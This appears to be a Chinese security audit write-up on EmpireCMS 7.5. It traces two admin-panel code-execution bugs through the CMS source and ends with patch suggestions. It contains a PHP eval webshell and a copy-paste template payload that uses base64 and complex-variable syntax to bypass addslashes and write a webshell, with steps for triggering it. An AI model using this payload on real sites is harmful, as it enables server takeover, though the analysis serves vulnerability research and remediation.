这个漏洞挖掘最初来源于qclover师傅:EmpireCMS_V7.5的一次审计
但是在这篇复现的文章中还是有一些出入的地方,比如说getshell的具体位置和成因。这里重新跟进分析一下
首先看一下getshell的流程,这个洞有点像黑盒to白盒
增加页面功能,会在程序根目录生成一个shell.php,访问为phpinfo结果
但是在我写入其他木马时,例如<?php @eval($_REQUEST[hpdoger]);?>
,根目录却生成了一个空的shell.php文件
此时就有些疑问,推测真正的漏洞点应该不是在根目录写入一个php,应该另有它径,这里分析一下漏洞产生的真正成因。
入口在e/admin/ecmscom.php
代码48行,跟进函数AddUserpage
重点关注两个参数的流程:path、pagetext
步入RepPhpAspJspcode
函数
function RepPhpAspJspcode($string){
global $public_r;
if(!$public_r[candocode]){
//$string=str_replace("<?xml","[!--ecms.xml--]",$string);
$string=str_replace("<\\","<\\",$string);
$string=str_replace("\\>","\\>",$string);
$string=str_replace("<?","<?",$string);
$string=str_replace("<%","<%",$string);
if(@stristr($string,' language'))
{
$string=preg_replace(array('!<script!i','!</script>!i'),array('<script','</script>'),$string);
}
//$string=str_replace("[!--ecms.xml--]","<?xml",$string);
}
return $string;
}
这个函数用来对pagetext参数进行了php标签的实体化,但是empirecms默认public_r[candocode]
为null,所以这里相当于直接返回了原始pagetext的值
继续回到AddUserpage
函数,接着步入ReUserpage
函数,在e/class/functions.php的4281行
获取程序的根路径后拼接传入的path,而后DoFileMKDir在根目录建立了shell.php
接着步入InfoNewsBq
函数,也是这个漏洞产生的函数。关键代码在e/class/functions.php
的2469-2496行
$file参数以php结尾,通过WriteFiletext
函数向$file中写入上一步的pagetext(这里为$indextext),而WriteFiletext
是没有任何过滤的
function WriteFiletext($filepath,$string){
global $public_r;
$string=stripSlashes($string);
$fp=@fopen($filepath,"w");
@fputs($fp,$string);
@fclose($fp);
if(empty($public_r[filechmod]))
{
@chmod($filepath,0777);
}
}
于是在e/data/tmp
目录下,以模版文件的形式写入webshell,同时也将AddCheckViewTempCode()返回的权鉴方法写了进去,所以我们不能直接以url的方式访问这个webshell。
但是仍有方法使这个webshell执行并将结果输出。原因在下面这几行
由于入口处定义了常量InEmpireCMS
,ob_get_contents可以读取缓冲区的输出,而输出正好是刚才我们包含进去的shell的结果。因此执行了phpinfo()后将要输出到浏览器的内容赋值给了$string变量并返回,在ReUserpage
函数中又进行了一次写入,缓冲结果写入的根目录下的shell.php,造成一个表面getshell的现象,其实是一种rce。
设置$public_r[candocode]
为true进行写入内容的过滤
承接上一个漏洞,整个empirecms不少用到ob_get_contents的地方,所以就想挖掘一下还有没有其他可以利用的点,最后把眼光锁在增加模版处。
在后台模版功能处,选择管理首页模版,然后点击增加首页方案
复制下面的payload,填写到模版内容处,点击提交。
<?php
$aa = base64_decode(ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA);
${(system)($aa)};
?>
其中base64编码部分为
ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA
=>
echo '<?php eval($_REQUEST[hp]);'>shell.php
再点击启用此方案即可getshell,在e/admin/template/
目录下生成shell.php
在e/class/functions.php的NewsBq
函数中调用WriteFiletext
函数向/e/data/tmp/index.php中写入文件并包含
查找一下哪些地方调用NewsBq
函数,最后锁定在e/admin/template/ListIndexpage.php
的DefIndexpage
中
首先从库里获取得到$r[temptext]
作为参数传入NewsBq,此时$class
为null。那么文件内容可控吗?查看一下入库的语句,看看存不存在任意写入,全局搜索enewsindexpage
在同文件ListIndexpage.php的第23行到47行,调用insert语句向enewsindexpage
中增加数据,关键代码如下
function AddIndexpage($add,$userid,$username){
global $empire,$dbtbpre;
if(!$add[tempname]||!$add[temptext])
{
printerror("EmptyIndexpageName","history.go(-1)");
}
...
$add[tempname]=hRepPostStr($add[tempname],1);
$add[temptext]=RepPhpAspJspcode($add[temptext]);
$sql=$empire->query("insert into {$dbtbpre}enewsindexpage(tempname,temptext) values('".$add[tempname]."','".eaddslashes2($add[temptext])."');");
...
}
调用AddIndexpage的入口为:
$enews=$_POST['enews'];
if(empty($enews))
{$enews=$_GET['enews'];}
if($enews=="AddIndexpage")
{
AddIndexpage($_POST,$logininid,$loginin);
}
所以$add
为$_POST
获取的数组,经过一次eaddslashes2
函数清洗后以temptext字段存入库,而eaddslashes2
在内部调用的是addslashes。猜想开发者最初可能只是为了防止sql注入,而没有进行其他类型过滤。但是我们执行任意命令是可以绕过addslashes的限制,取出来temptext字段来rce。
只需要用到复杂变量:PHP复杂变量绕过addslashes()直接拿shell
整理思路:入库rce语句->取出库->写文件->包含rce->getshell
对入库语句进行过滤,建议在eaddslashes2
中增加一些过滤机制